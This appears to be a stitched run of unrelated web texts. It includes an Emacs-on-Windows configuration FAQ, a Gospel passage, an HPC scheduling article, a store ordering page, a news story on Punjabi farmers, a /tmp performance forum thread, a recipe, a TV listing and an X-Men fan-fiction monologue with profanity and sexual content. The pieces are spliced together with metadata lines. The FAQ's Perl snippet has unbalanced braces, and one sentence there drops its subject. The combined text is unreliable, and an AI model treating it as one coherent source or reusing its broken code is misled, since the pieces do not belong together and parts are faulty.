WARNING: Some versions of bash set and use the environment variable PID. For some as yet unknown reason, if PID is set and Emacs passes it on to bash subshells, bash dies (Emacs can inherit the PID variable if it's started from a bash shell). If you clear the PID variable in your init file, you should be able to continue to use bash as your subshell:
(setenv "PID" nil)
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7.8 How do I use Cygwin style paths in Emacs?
The package cygwin-mount.el teaches Emacs about Cygwin mount points.
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7.9 How do I make dired use my ls program?
Dired uses an internal lisp implementation of ls by default on Windows. For consistent display of symbolic links and other information with other programs (eg Cygwin) and performance reasons, you may want to use a Windows port of ls instead.
(setq ls-lisp-use-insert-directory-program t) ;; use external ls
(setq insert-directory-program "c:/cygwin/bin/ls") ;; ls program name
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7.10 How do I prevent shell commands from being echoed?
Some shells echo the commands that you send to them, and the echoed commands appear in the output buffer. In particular, the default shells, and cmd.exe, have this behavior.
To prevent echoed commands from being printed, you can place the following in your init file:
(defun my-comint-init ()
(setq comint-process-echoes t))
(add-hook 'comint-mode-hook 'my-comint-init)
If shell-mode still is not stripping echoed commands, then you'll have to explicitly tell the shell to not echo commands. You can do this by setting the explicit-SHELL-args variable appropriately; where SHELL is the value of your SHELL environment variable (do a M-: (getenv "SHELL") to see what it is currently set to). Assuming that you are on NT and that your SHELL environment variable is set to cmd.exe, then placing the following in your init file will tell cmd.exe to not echo commands:
(setq explicit-cmd.exe-args '("/q"))
The comint package will use the value of this variable as an argument to cmd.exe every time it starts up a new shell; the /q is the argument to cmd.exe that stops the echoing (invoking ‘cmd /?’ in a shell will show you all of the command line arguments to cmd.exe).
Note that this variable is case sensitive; if the value of your SHELL environment variable is CMD.EXE instead, then this variable needs to be named explicit-CMD.EXE-args instead.
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7.11 How can I make shell completion use forward slashes?
The character appended to directory names when completing in a shell buffer is controlled by the variable comint-completion-addsuffix. See its documentation (with C-h v) for details.
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7.12 Why do I get incorrect DOS version messages?
This might happen if, for example, you invoke nmake in a shell and it tries to create sub-shells. The problem happens because when the shell is initially created, the first argument to the shell is not the directory in which the shell program resides. When this happens, fabricates a value for its COMSPEC environment variable that is incorrect. Then, when other programs go to use COMSPEC to find the shell, they are given the wrong value.
The fix for this is to either prevent any arguments from being sent to the shell when it starts up (in which case will use a default, and correct, value for COMSPEC), or to have the first argument be the directory in which the shell executable resides.
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7.13 Why is nothing happening when I enter shell commands?
Some anti-virus software has been reported to cause problems with shells in the past. Try turning off options such as “Scan all files”. See What known problems are there with anti-virus software?.
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8 Network access
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8.1 How do I use mail in Emacs?
Emacs comes with several options for reading and writing mail. These are documented in the manual, and the choice of which method to use depends on personal taste. There are some issues specific to Windows however, related to the fact that Windows machines do not have the mail infrastructure that is commonly installed on other platforms, so mail will not work without some configuration.
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8.1.1 Outgoing mail
For outgoing mail, you will need to use smtpmail.el which allows Emacs to talk directly to SMTP mail servers. This is included with Emacs, and can be set up as follows:
(setq user-full-name "Your full name")
(setq user-mail-address "Your@email.address")
(setq smtpmail-default-smtp-server "")
(setq send-mail-command 'smtpmail-send-it) ; For mail-mode (Rmail)
(setq message-send-mail-function 'smtpmail-send-it) ; For message-mode (Gnus)
Note that if you want to change the name of the SMTP server after smtpmail is loaded, then you'll need to change smtpmail-smtp-server.
If you are experiencing problems with sending large messages, check the value of the variable smtpmail-debug-info. If it is non-nil, you should set it to nil:
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8.1.2 Incoming mail with Rmail and POP3
For incoming mail using the Rmail package and a POP3 server, you will need the following configuration:
(setenv "MAILHOST" "")
(setq rmail-primary-inbox-list '("po:your logon id"))
(setq rmail-pop-password-required t)
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8.1.3 Incoming mail with Gnus
Although Gnus started life as a Usenet news reader, it also makes a good mail reader, particularly if you subscribe to a lot of mailing lists, or you want to use IMAP rather than POP3, which is not supported by Rmail. See The Gnus manual.
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8.1.4 Other incoming mail options
Other options for reading mail in Emacs include VM, MH-E and Wanderlust. MH-E is included with Emacs. The others require lisp or executable code that does not come with Emacs, so you should seek help where you obtained the packages from if you want to use them.
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8.2 How do I open attachments in Gnus?
In your HOME directory create a file called .mailcap, with contents like the following:
application/zip "C:/Program Files/7-Zip/7zFM.exe"
video/* "C:/Program Files/VideoLAN/VLC/vlc.exe"
Warning: Associating MIME types with start or other generic Windows commands to open arbitrary files might seem like a good idea, but it leaves your system as open to attack as Outlook Express was at its worst. Especially dangerous is associating application/* or */* in this way.
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8.3 How do I use FTP within Emacs?
Windows built in FTP client can be used with ange-ftp. Ange-ftp is the Emacs package that provides FTP connectivity to tramp, a multi-protocol remote file access package for Emacs that is enabled by default.
The Windows FTP client does have problems with some firewalls, due to lack of passive mode support, so you may want to try an alternative ftp client instead. Make sure that the client you are trying is in your PATH before the default Windows client, or rename the default Windows client to avoid it getting in the way. Alternatively you can customize ange-ftp-ftp-program-name to the full path to the version you are trying. See Other useful ports.
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8.4 How do I use Tramp to work in Emacs via SSH?
Tramp can use a number of protocols to connect to remote machines to read files and even run commands on those files remotely. A popular one is ssh. As well as Cygwin versions of openssh, you can use PuTTY's command line plink program as the ssh client. The relevant methods to use in tramp-default-method or tramp-default-method-alist for these options are:
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8.5 How do I use telnet with Emacs?
To use telnet-mode on Windows, you need a telnet client that uses stdin and stdout for input and output. The default Windows client is a Windows application, and will not work as a subprocess. Several options exist, but information that was formerly in this FAQ is out of date now, so no concrete pointers are available.
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9 Text and Utility modes
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9.1 How do I use TeX with Emacs?
You will need an implementation of TeX for Windows. A number of implementations are listed on the TeX Users Group website.
Up: TeX
9.1.1 AUCTeX
AUCTeX is an Emacs package for writing LaTeX files, which also includes preview-latex, an Emacs mode for previewing the formatted contents of LaTeX documents. Pre-compiled versions for Windows are available from the AUCTeX site.
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9.2 How do I perform spell checks?
Emacs has support for spell checking on demand (ispell) and as your type (flyspell). Both packages depend on a copy of ispell 3.2 or a compatible spell-checking program. GNU Aspell is a popular choice these days, Windows installers are available from the official site.
Once installed, you will need to configure ispell-program-name to tell ispell and flyspell to use aspell as a replacement for ispell. You can include the full path to the aspell binary, which means you do not need to add its installation directory to the PATH.
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9.3 Emacs and encryption
GNU Privacy Guard is a Free replacement for PGP, with Windows binaries available. See
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9.4 Why doesn't my wheel mouse work in Emacs?
Some wheel mice ship with default settings that do not send the standard wheel events to programs, but instead try to simulate scroll bar events. Usually this is configurable from the hardware specific pages on the mouse control panel. The middle button is often mapped in the same settings to have some functionality other than sending middle mouse button events. In some cases, uninstalling the manufacturer's drivers and telling Windows to use the generic USB or PS/2 drivers is the only way to make the mouse work properly.
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9.5 How do I use grep with Emacs?
The best way to use M-x grep with Emacs is to download a port of GNU grep. See Other useful ports.
If you want a quick solution without installing extra tools, a poor substitute that works for simple text searches is to specify the built in Windows command findstr as the command to run at the M-x grep prompt. Normally you will want to use the /n argument to findstr.
Up: Grep
9.5.1 How do I do a recursive grep?
The Emacs commands rgrep, grep-find and find-grep-dired are all different interfaces for grepping recursively into subdirectories. By default, they use the command find to determine which files to work on, and either run grep directly from find, or use xargs to batch up files and reduce the number of invocations of grep.
Windows also comes with a find command, but it is not in any way compatible with the POSIX find that Emacs tries to use. Emacs expects a find compatible with GNU findutils. See Other useful ports. After you have installed it, you will need to make sure that Emacs finds this version, not the standard Windows find command. You can do this by either renaming the Windows command, changing your PATH to ensure that the directory containing the findutils bin directory comes before the Windows system directory, or set the variable find-program to the full path to the findutils find command.
An alternative if you have a recent version of grep is to customize grep-find-command to use ‘grep -r’ instead of both find and grep. Another alternative if you don't need the full capabilities of grep is to use ‘findstr /n /r’.
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10 Developing with Emacs
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10.1 How do I use Emacs with Microsoft Visual C++
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10.1.1 Emacs as the text editor for DevStudio
Christopher Payne wrote a Visual Studio add-in that makes Emacs the default text editor, this has now been taken over by Jeff Paquette. See the following two URLS for details:
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10.1.2 Using MSVC command line tools from Emacs
This is an app note on how to use Microsoft Visual C++ with Emacs. The experiments done below were done with Emacs 19.34.1 on Windows 95, using Visual C++ 4.0 Standard Edition. Your mileage may vary.
This writeup assumes minimal knowledge of Emacs hacking on the part of the reader.
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There is a batch file in your VC++ installation's bin directory called vcvars32.bat, which sets up the environment variables needed to run the VC++ command line tools. Arrange for those same environment variables to be set in your Emacs session. You can do this on Windows 9x by calling the vcvars32.bat script from autoexec.bat. On other versions of Windows you can set the environment variables globally using the System control panel.
For all versions of Windows you can alternatively set the variables just inside Emacs by using setenv calls in your init file. See Where do I put my init file?.
You should now be able to compile from Emacs. Load a source file from a VC++ project. Type M-x compile. Replace the proposed command line with:
nmake -f ProjectName.mak
You will find that this defaults to a debug build. You can change it to a release build with:
nmake -f ProjectName.mak CFG="ProjectName - Win32 Release"
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Now set the default value for the compile command line. Add the following to your init file:
;; Set up for Visual C++ compiling
(setq compile-command "nmake -f ")
If you work on the same project long term, you can add the project makefile to the string.
David Biesack suggests that perhaps it's easy to write a Makefile in the project directory which does
all: debug
debug: FORCE
nmake /f $(PROJECT).mak CFG="$(PROJECT) - Win32 Debug"
release: FORCE
nmake /f $(PROJECT).mak CFG="$(PROJECT) - Win32 Release"
and then you can simply change compile-command to nmake.
Caleb T. Deupree reports that on VC++ 5.0 and up, "You can also set an option in Options/Build to export a makefile every time the project is saved, which you can then use to compile with ‘nmake -f project.mak’." VC++ 4.0 builds the make file every time, and there is no option.
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It is recommended that you use auto-revert-mode in buffers that you have open in both Emacs and MSVC++ at the same time. Then if you mistakenly edit the file in MSVC++, Emacs will pick up your changes immediately, rather than after you have written lots more code and attempt to save.
Previous: Reverting buffers, Up: MSVC command line Edit with Emacs function for MSVC
You can also set up VC++ to import a file into Emacs for you, all ready for editing. In VC++, go to the Tools pull-down menu, and click on Customize.... In the Tools tab, click on Add. Use Browse to locate the emacsclientw.exe file in your Emacs bin directory, and select it. For arguments, use +$(CurLine) "$(FilePath)" and for the directory use the $(WkspDir) (the quotes around FilePath handle paths with spaces in them). Set the Menu Text to say "Em&acs". The +$(CurLine) will set point in Emacs to the same line as the cursor position in VC++. The ampersand in the word Em&acs allows you to select emacs from the keyboard. (E is already used for the OLE control test container.)
You should now be able to go to any source file in your project. Then, use the pull-down menu Tools->Emacs. The active file in your VC++ IDE should now be front and center in Emacs, all ready to edit as you wish. If you use keystrokes to work the menus, try Alt-T A to move the file into Emacs. Binding this tool to a keystroke will be left as an exercise for the student.
If you have the option of saving files before running tools, make sure this option is set. (I don't see it on VC++ 4.0.)
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10.2 Emacs and Borland C++ Builder
Jonathan Arnold has written an EmacsEdit “expert” for interfacing C++ Builder and Emacs.
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10.3 Is there a version of my VC software I can use with Emacs?
If you are using a graphical revision control tool already, check if it comes with command-line tools. Many such GUI tools are just wrappers for the same command line tools that Emacs requires for its VC integration. Most of the supported VC systems have well supported Free native Windows binaries. For those that don't Cygwin may be an option. See Other useful ports.
Previous: Version control, Up: Developing with Emacs
10.4 How do I use the Perl debugger with Emacs?
From Jay Rogers:
Some versions of the perl debugger itself need to be patched to work with emacs. They are perl versions 5.001 and less, and version 5.004_01. To fix, locate and change the code similar to the following code in lib/
if (-e "/dev/tty") {
$console = "/dev/tty";
elsif (-e "con") {
$console = ""; <---- change "con" to ""
else {
$console = "sys\$command";
Doug Campbell also has some suggestions for improving the interaction of perldb and Emacs.
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11 Other useful ports
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11.1 Cygwin
Cygwin is a popular complete POSIX emulation environment for Windows. Most of its tools can be used with Emacs, and it covers a wide range of ported software. The main shell used by Cygwin is GNU bash, but other shells are also available. Some Cygwin tools may not interoperate well with Emacs or other native Windows tools, due to the total immersion aspect of Cygwin, including its non-native filesystem mapping.
If you choose to use Cygwin, then its tools will probably be all that you need, but you will need to get image libraries from elsewhere, as the Cygwin ones are not compatible with non-Cygwin software. In fact, if Cygwin is on your PATH when you run Emacs, and Emacs does not find other versions of the image libraries first, then the Cygwin ones can cause problems. Cygwin developers recommend that you do not put Cygwin on your system PATH for this reason. Instead you can make the Cygwin tools available within Emacs by setting exec-path in your init file.
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11.2 MinGW and MSYS
MinGW is a set of development tools that produce native Windows executables, not dependent on Cygwin's POSIX emulation DLLs.
MSYS is a POSIX shell and minimal set of tools that are commonly used in configure scripts. Like Cygwin, this environment uses a non-native filesystem mapping to appear more POSIX like to the scripts that it runs. This is intended to complement the MinGW tools to make it easier to port software to Windows.
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11.3 UWIN
UWIN is another POSIX emulation environment, like Cygwin and MSYS, that provides a large number of ported tools. The shell used by UWIN is ksh, the Korn shell.
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11.4 GnuWin32
GnuWin32 provides precompiled native Windows ports of a wide selection of Free software and libraries. Tools available here that are useful for Emacs include:
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11.5 GTK
GTK is a potential source for some of the image libraries that Emacs requires. GTK is installed along with other ports of GUI software, such as the GIMP image editor, and Pidgin instant messenger client. If GTK is installed when you run addpm, Emacs will use the image libraries that it provides, even if they are not on the PATH. GTK ships with JPEG, PNG and TIFF support.
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11.6 How do I read man pages?
Man pages for Emacs and other ported programs that you have can be read using Emacs' built-in manual reader woman. This requires no external programs, but if you do have a port of man, there is also an Emacs wrapper man that which may be slightly faster.
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12 Further information
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12.1 Where can I get more information about Emacs?
If you have general questions about Emacs, the best places to start looking are Top, and Top. In Emacs, you can browse the manual using Info by typing C-h r, and you can view the FAQ by typing C-h C-f. Other resources include:
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12.2 What mailing lists are there for discussing Emacs on Windows?
The official mailing list for Windows specific help and discussion is help-emacs-windows. See that link for information on how to subscribe or unsubscribe. The list archives are available online.
Previous: Further information, Up: Top
Function and Variable Index
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Gospel Reading
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7th Sunday of Luke
The Gospel of Luke 8:41-56
At that time, there came to Jesus a man named Jairus, who was a ruler of the synagogue; and falling at Jesus' feet he besought him to come to his house, for he had an only daughter, about twelve years of age, and she was dying. As he went, the people pressed round him. And a woman who had had a flow of blood for twelve years and had spent all her living upon physicians and could not be healed by anyone, came up behind him, and touched the fringe of his garment; and immediately her flow of blood ceased. And Jesus said, "Who was it that touched me?" When all denied it, Peter said, "Master, the multitudes surround you and press upon you!" But Jesus said, "Some one touched me; for I perceive that power has gone forth from me." And when the woman saw that she was not hidden, she came trembling, and falling down before him declared in the presence of all the people why she had touched him, and how she had been immediately healed. And he said to her, "Daughter, your faith has made you well; go in peace." While he was still speaking, a man from the ruler's house came and said, "Your daughter is dead; do not trouble the Teacher any more." But Jesus on hearing this answered him, "Do not fear; only believe, and she shall be well." And when he came to the house, he permitted no one to enter with him, except Peter and John and James, and the father and mother of the child. And all were weeping and bewailing her; but he said, "Do not weep; for she is not dead but sleeping." And they laughed at him, knowing that she was dead. But taking her by the hand he called, saying, "Child, arise." And her spirit returned, and she got up at once; and he directed that something should be given her to eat. And her parents were amazed; but he charged them to tell no one what had happened.
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February 19, 2014
Scheduling HPC as a Service
Carlo del Mundo
HPC has always been the go-to field for solving large-scale scientific and engineering problems. However, running applications on HPC systems requires significant technical know-how of the underlying systems software to effectively run applications. To address the tedium of setting up HPC environments, HPC as a Service (HPCaaS) has recently been proposed to move HPC into the cloud.
Borrowing from the success of Software as a Service (SaaS), HPCaaS purports to do the same — simplifying and commoditizing HPC to the masses via an automated cloud delivery system. The emphasis is making the process of scheduling jobs on HPC resources as transparent as possible. A user need not know how many processors to use but that a job gets executed with a specified amount of parallelism.
So, what’s limiting the adoption of HPC as a service? For one, typical HPC jobs are rigid in nature; they must execute under a finite set of resources. For instance, a user must explicitly specify the exact number of processors before submitting a parallel job. If there is enough processors, the job is run. If not, the system stalls until there is enough processors to fulfill the task. This rigid way of scheduling works well when there are enough resources to fulfill the job. However, in cases where HPC is seen as a service, resource contention causes stalls resulting in poor utilization.
To alleviate the burden of poor utilization when there aren’t enough resources available, Kuo-Chan Huang, associate professor in the Department of Computer Science from National Taichung University applies the concept of moldable jobs (borrowed from MPI) to HPC. He notes that, “a moldable job approach can automatically select a most appropriate amount of processors for a job’s execution based on application speedup models and workload conditions at the moment.”
Then, the workload management system adapts to the needs of the application — throttling down as resources become scarce. Such moldable properties for HPC jobs allows the job management and scheduling system to allocate resources based on the needs of the job. This flexibility is critical in executing jobs at an efficient rate.
Huang’s team proposes two new moldable scheduling techniques achieving up to 78% and 89% performance improvement in terms of average turnaround time.
Tags: , | <urn:uuid:c6766b12-37d4-43aa-a870-7d029a9bca42> | http://www.hpcwire.com/2014/02/19/scheduling-hpc-service/ | en | 0.928649 | 0.05717 | mlfoundations/dclm-baseline-1.0-parquet |
How Do I Order?
It's easy to order from JanSport Canada Store. If this is your first time purchasing from our store, just follow these three easy steps:
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2. Add the item you want to your shopping cart.
3. Complete the checkout flow.
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We guarantee that every transaction you make at JanSport Canada Store will be 100 percent safe and secure. This means you pay nothing if unauthorized charges are made to your card as a result of shopping at JanSport Canada Store. If you feel more comfortable, you may enter only your cards last five digits and its expiration date. Once you have fully submitted your order, you can call us and let us know the rest of your card number over the phone.
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By Jaideep Sarin, Chandigarh, Aug 29 IANS | 2 years ago
Punjabi farmers may be successfully doing agriculture in faraway South and North America and Africa but they seem to be unwelcome in some states within the country.
Punjab Chief Minister Parkash Singh Badal now wants the central government to intervene and let Punjabi farmers buy land in other states.
Farmers from the state have been, in the last over a decade, buying land in other states for pursuing agriculture. Many Punjabi farmers have established themselves in states like Uttarakhand, Uttar Pradesh, Madhya Pradesh, Chhattisgarh, Gujarat, Maharashtra and Rajasthan.
With states like Rajasthan, Gujarat, Himachal Pradesh and Jammu and Kashmir banning property transactions by outsiders, Punjabi farmers have been affected.
Badal has assured Punjabi farmers that he would take up the matter with the centre for allowing them to buy agricultural land in other states. He has asked Punjab's Financial Commissioner-Development (FCD) to prepare a detailed proposal on this to be sent to the Inter-State Council for an early resolution.
"The main reason for some farmers from Punjab moving to other states is the limited agricultural land available. The high cost of land in the state due to rapid urbanisation also became an attractive proposition for many farmers to sell their agricultural land here and buy it at much cheaper rates in other states," horticulturist Bhagwant Singh told IANS.
Punjab, the state that spearheaded India's Green Revolution in the 1960s to make the country self-sufficient in foodgrain, has only 1.54 percent of the country's geographical area. The state's size shrunk considerably after large parts went to Pakistan after the country's partition in August 1947 and later two states - Haryana and parts of Himachal Pradesh, were carved out of it.
The landholdings of most farmers in Punjab is very small - anything from 0.5 to three acres. Thousands of farmers in the state are reeling under huge debts - and the total is estimated at a staggering Rs.40,000 crore.
To save the farmers and farm labourers from the undue exploitation at the hands of money lenders, Badal has directed that the Punjab Indebtedness Act soon be enacted as sought by the Bharti Kisan Union (BKU).
Some farmers from Punjab have gone and established themselves in agricultural and related activities in Canada, the US, Argentina, Brazil and Australia, as also in Central Asian and European countries.
(Jaideep Sarin can be contacted at
(Posted on 29-08-2013) | <urn:uuid:f276a6cb-d600-413d-8979-8da4cc96df04> | http://www.newkerala.com/news/story/60088/badal-wants-states-to-allow-punjabi-farmers-to-buy-land-punjab-newsletter.html | en | 0.953861 | 0.089028 | mlfoundations/dclm-baseline-1.0-parquet |
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/tmp performance on RAID card
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• /tmp performance on RAID card
Most of our servers for years have been hooked to FC (fiber channel) attached disk with /tmp down localdisk. This has worked well but now due to the complexity and number of servers involved it's easier to just buy servers with localdisk (12 disk 15,000k SAS disk). We have been configuring them with 1 large array for data and a separate non raided disk for /tmp. We've noticed early on that having /tmp in the same volume as /data is very damaging as it will easily IO bound a busy server and the sequential writes of /tmp don't play well with the random IO of /data. The problem now is that even with /data and /tmp being on separate disks, heavy IO down /tmp (large sort files) can still IO bound the controllers (3ware, MegaRaid LSI) and cause contention to /data. Any thoughts on the best way to avoid this situation? I'm half tempted to somehow plug the one disk directly into an onboard scsi controller (if available) and not going through the raid controller so I can use it for /tmp. The other option is to buy a flash PCI card and use it for /tmp. It seems to me that the SCSI controllers should be able to handle this without affecting the other controllers. I tried turning off writeback caching on the /tmp disk but the behavior was unchanged. Any other ideas?
• #2
I would use a separate controller card, if possible. You could also look into some of Tyan's dual AMD processor motherboards supporting multiple PCI busses, if PCI bus usage is an issue. Also, the CPU in the controller card could be the limiting factor. Is a faster version available?
I am not an expert, however.
• #3
You don't say anything about how large your temporary files are so I can't give you any definitive advice.
But since you are already considering buying additional hardware I would suggest buy a lot of RAM for the money instead of separate controllers etc.
Usually a lot more better way of spending your money since sorting can then be performed in RAM instead of temporary files.
• #4
The temporary files created by mysql can vary but can go up to several GB in size which is alsotypically when we see the issue. We currently have 16->32GB of RAM in the boxes so it seems they have plenty of RAM available. It seems the problem is that if the sort takes serveral minutes the file systems cache will sync to disk wether you want it to or not. Also typically when we see this issue it probably could do all the sorting in RAM even at several GB.
• #5
Some questions:
1. Does your tables contain BLOB or CLOB columns?
2. What settings do you have on your server variables?:
You want write back cache activated to speed up random writes.
It will not do much for sequential writes since then the cache is usually filled up very fast anyway. But for random writes it usually speeds up a lot. | <urn:uuid:85d7879f-ee07-4a1b-b248-806078dbf13b> | http://www.percona.com/forums/questions-discussions/mysql-and-percona-server/2463-tmp-performance-on-raid-card | en | 0.937776 | 0.157055 | mlfoundations/dclm-baseline-1.0-parquet |
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Why should I buy Organic?
Put plain and simple: if there are no chemicals used in growing your food, you won't eat any chemicals. You can also be sure no antibiotics or hormones will be present in your milk, eggs, or meat, since none are allowed in organic production. Additionally, organic production must be free of genetically modified (GM), or genetically engineered (GE), substances. | <urn:uuid:fffb8876-7728-42d3-a644-d6e712e91a25> | http://www.portlandoregon.gov/bps/article/355761 | en | 0.896723 | 0.018444 | mlfoundations/dclm-baseline-1.0-parquet |
Air Date: Monday, December 28, 2009
Episode Title: (#C106) "INTRODUCTION TO STATISTICS" (Repeat)
12/28/2009 (08:30PM - 09:00PM) (Monday) : JEFF MUST CHOOSE BETWEEN GETTING A DATE OR HONORING A PROMISE TO ANNIE -Jeff (Joel McHale) has the hots for his statistics professor and is determined to take her out on a date. He finds the perfect opportunity to pursue her but it happens to interfere with a Day of the Dead party Annie (Alison Brie) is throwing for their Spanish class. Meanwhile, Pierce (Chevy Chase) comes to terms with being old. Ken Jeong, Gillian Jacobs, Yvette Nicole Brown, Danny Pudi and Donald Glover also star.
Share | | <urn:uuid:5ac62143-ae7d-47fc-ac08-f914f3cbf90d> | http://www.thefutoncritic.com/listings/20091211nbc04/ | en | 0.90409 | 0.031212 | mlfoundations/dclm-baseline-1.0-parquet |
Tropical Sweet Potato Fries… Or the surest way to culinary heaven
Name: Tropical Sweet Potato Fries
Eaten in: West Africa
Foodie: Linda
Folks: Not all sweet potatoes are created equal, the same applies to the fries made from them.
The sweet potatoes found in West Africa have a yellow flesh and are less sweet than their counterparts grown found elsewhere. When turned into fries, they liberate a flavor which is both mild and memorable. They used to be my favorite snack food when I was growing up: scarcity played a role there, as we never had them as often as other snacks like Alloco for example.
Since I moved to the US, I have been trying to replicate the texture and flavor of those sweet potato fries with the variety of sweet potatoes found here, not to avail, until…. Yes, you guessed it, until I found the RIGHT sweet potatoes.
Tropical Sweet Potato Fries
Serves 2
Prep time 15 minutes
Cook time 25 minutes
Total time 40 minutes
Meal type Side Dish
• 2 Medium size light brown sweet potatoes (yellow flesh)
• salt
• Frying oil (vegetable oil)
1. Peel the sweet potatoes and cut them in small sticks (a little wider than a finger – don’t mean to be gruesome here, just looking for a universal length measurement).
2. Put the raw fries in a bowl of water and add salt to your taste
3. Heat the oil up. Add one “fry” to test the temperature. If the oil starts sizzling, it is at the right temperature.
4. Cook the fries for 5 to 10 minutes, until they have a golden color.
5. If you like extra crispy fries, take them out of the oil, let them rest for 5-10 minutes and fry them again.
6. Serve as a side or as a mid-afternoon snack
7. I know I have used the word “fry” more times than “healthfully” acceptable, but it’s all about moderation, so as long as you don’t fry 10 sweet potatoes and have the whole thing in one sitting, you will be fine
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| <urn:uuid:ee83aea9-bba8-4231-9048-85cb896ce75e> | http://www.tropicalfoodies.com/2011/01/24/tropical-sweet-potato-fries-or-the-surest-way-to-culinary-heaven/ | en | 0.907527 | 0.033219 | mlfoundations/dclm-baseline-1.0-parquet |
Browse Stories in Author MissRandumb
Title Age Rating Reviews Chapters Complete Words
MoonStruck Teen 5/5 30 3 No 6961
What if Bella had no Jacob Black? Instead she was really sent to a mental institution, but for a different reason. She literally forgot everything about her past. But, of course, for Bella, the dangers never seize...
Morning Glory Teen 4/5 5 1 No 592
Role Reversal. Edward is the human, Bella the vampire. Not like others. Edward is still a Masen. Bella is still a Swan but with the last name of Cullen. They still have the same parents and whatnot. What would change if it was Edward instead who needed the saving?
Unrequited Everyone 5/5 2 1 No 112
A poem from Jacob Black's point of view. Even though I don't really like him, he provides a good angst factor. | <urn:uuid:fa00df0d-3af3-4afa-acd3-4c271d743ed2> | http://www.twilightarchives.com/browse/authors/1612?letter=a&page=1 | en | 0.936648 | 0.040194 | mlfoundations/dclm-baseline-1.0-parquet |
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FIC: "She Said" (1/1 - PG-13 - Logan/Rogue)
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• Donna Bevan
Title: She Said (1/1) Author: Donna Rating: PG-13 (language) Series: The Thing About Misconceptions Archive: If you have Diebin s He Said , then by
Message 1 of 1 , Nov 1, 2000
• 0 Attachment
Title: She Said (1/1)
Author: Donna
Rating: PG-13 (language)
Series: "The Thing About Misconceptions"
Archive: If you have Diebin's "He Said", then by all means - take this
one, too. ;)
Summary: He Said/She Said, as per Logan and Rogue. You know the drill.
Pairing: Logan/Rogue
Disclaimer: Um, she did it! <points at Die and snerks>
Thank You: To everyone who inspires me as a writer and as a person. You
all know who you are, but let me list a few - Melissa, Shana, Nancy,
Elizabeth, Jengrrl, Nace, Kara, and Katjen (from over yonder in Roswell
territory). You all rock. And extra huge thanks to Die, who was kind
enough to show me a little piece of fic
right when I needed it. <huggles
to everyone>
I'm not a little girl anymore.
Not like anyone thinks that I am, or anything; everyone I know has pretty
much accepted that I am a fully-grown woman. But that's not really my
point. The point is that, even though they all see me as so goddamned
grown up, all my friends are still developing these little girl reasons why
I don't want Logan pursuing me.
Oh, he broke her heart! Oh, she's interested in Remy now! Oh, she's
pulling a Scarlett O'Hara, letting Logan chase her until *she* catches *him*!
Well, let me tell you something.
Logan didn't break my heart. Hell on *fire*, people
Before he came back,
I had known him for a week. Seven days. And I don't care *what* the poets
and the artists and the greeting card people say - you cannot fall
desperately, hopelessly in love with someone in a week. Especially not if
you spend a good portion of that week just trying not to *die*. So yeah, I
had a huge ass crush on him... But crushes fade, usually leaving only the
most embarrassing feeling ever - the "oh my great GOD, what was I
thinking?" slow burn of mortification.
And I'm not interested in Remy. Jesus, do I look stupid to you? That
Cajun charmer taking me for a spin is just about the last thing I need.
Might be fun while it lasted, but men that adorable always have a way of
getting under your hide, you know? Of making you wish that you could be
The One to keep them happy. To keep them around. And I don't need that
kind of emotional pain, all right? So I'll flirt with him and enjoy his
attentions a little, but he's not getting anywhere with me. Ever.
And the Scarlett O'Hara theory? Fuck. Look, I may be a Southern belle and
all, but those mind games just piss me off. They're manipulative and
irritating and I don't play them. Period. End of sentence. Not a chance
in Hell.
So, the question still remains: why in the world am I rebuffing every one
of Logan's oh, so swoonworthy advances?
I'll tell you why.
I want to fuck his brains out.
Period. End of sente-- Aw hell, you know the drill.
I mean, come *on*. You're not blind, right? And you *have* seen Logan?
Excuse me while I whimper for a minute.
The thing about Logan is that he is all man. ALL man. It's something that
scared the living hell out of me when I was sixteen. I was always
attracted to him, but back then the lust was majorly overshadowed by all
the hero-worship I had for him. He saved my life twice (three times, if
you count grudgingly giving me that first ride), and it felt
Well, it
felt *right* to adore him. I kinda felt like I should.
Now all that hero-worship is gone. He's not some dashing figure on a black
steed, racing in to save the day. He's just Logan - one hell of a hot man.
Oh yeah, he's been strutting his shit all over campus since he came back;
don't think I haven't noticed. The smoldering looks, the amazingly high
number of times he "forgets" to put on a shirt
God, do I ever notice.
That chest, those arms
Oh, that back. That baaaaack. I'm a healthy,
red-blooded woman, and I want nothing more than to wrap my hands around
every single part of Logan's healthy, red-blooded anatomy.
But I'm not about to.
You knew that was coming, didn't you?
Let me explain myself here. While just the thought of getting my hands
anywhere near Logan makes me tremble and sweat in an almost pathetic
manner, I refuse to risk it.
Risk what, you ask? My heart, that's what.
Do you have any idea how hard it was for me to get over him the last time
he left? Yeah, I know. Earlier I was yapping on about how crushes fade,
and all that shit. Well, they do. But the thing is, the half-lives on the
damn things tend to vary tremendously.
My crush on Logan was the uranium of crushes, okay? I thought I'd *never*
get over him, and I guess that lends a lot of credence to the theory that
I'm avoiding entanglements with him now out of lingering, unforgotten hurt
and rejection. But I can't blame him for how I felt; I never have. He
didn't do anything to make me all softhearted and faint over him. All he
did was run around, acting all Wolveriney, and I practically fell on my
face just wanting him to glance in my direction.
Not that he did much glancing. Logan is not a glancer; he stares, and
three years ago, he directed most of those patented stares at Jean Grey's
ass. God, that tore me up inside. Made me feel like maybe he didn't want
me because I wasn't tall and willowy. Because I wasn't smart like Jean, or
sophisticated like Jean
In short, my self-esteem took a hell of a blow, and it took me a long time
to build that back up again. Of course, I can't say that I'm not kind of
enjoying all of his attention now; it sort of validates all that time I
spent trying to convince myself that nothing was wrong with me, you know?
So, Logan hurt me, and he didn't even mean to. It was the last thing he
meant to do, I think. No, I'm sure. And I have no hard feelings about
that. Like I said, I can't blame him for what I felt.
But I can blame him for how he is.
Logan does one thing well. Well, okay, I'm pretty sure that's not true, so
let me rephrase: Logan runs. That's what he does, who he is. When things
get to be too tough or confusing, he picks up and he runs like the hounds
of hell are nipping at his heels. And he's good at it. Hell, he *should*
be by now - he's been practicing that move for eighteen years. The
situation gets sticky, and Logan hauls ass.
Of course, his famous retreats offer up a spectacular view of that fine ass
of his, but believe me when I say it's hard to enjoy a fine ass when it's
on the body of a man who has your bleeding heart clutched in his hairy
little fist.
God, maybe I was a little bit in love with him three years ago.
Less than a year ago, I finally took Logan's dogtags off my neck. Less
than a year. And if I let him anywhere near me, if I let him touch me
All that time I spent scrabbling around, trying to feel good about myself
again, will be wasted. Because if I let him in, if I let him touch my
heart, I'm not getting it back. And, when he decides to pick up and leave
this time, he'll take it with him. I mean, he only had a little piece of
me three years ago, and his departure almost broke me.
I don't want to know what being shattered feels like.
Every time he looks in my direction, his eyes tell me what he wants - *me*.
And damn me to hell, I want him, too. If I were just a little bit
stronger, maybe I could go to him, and we could both have what we wanted,
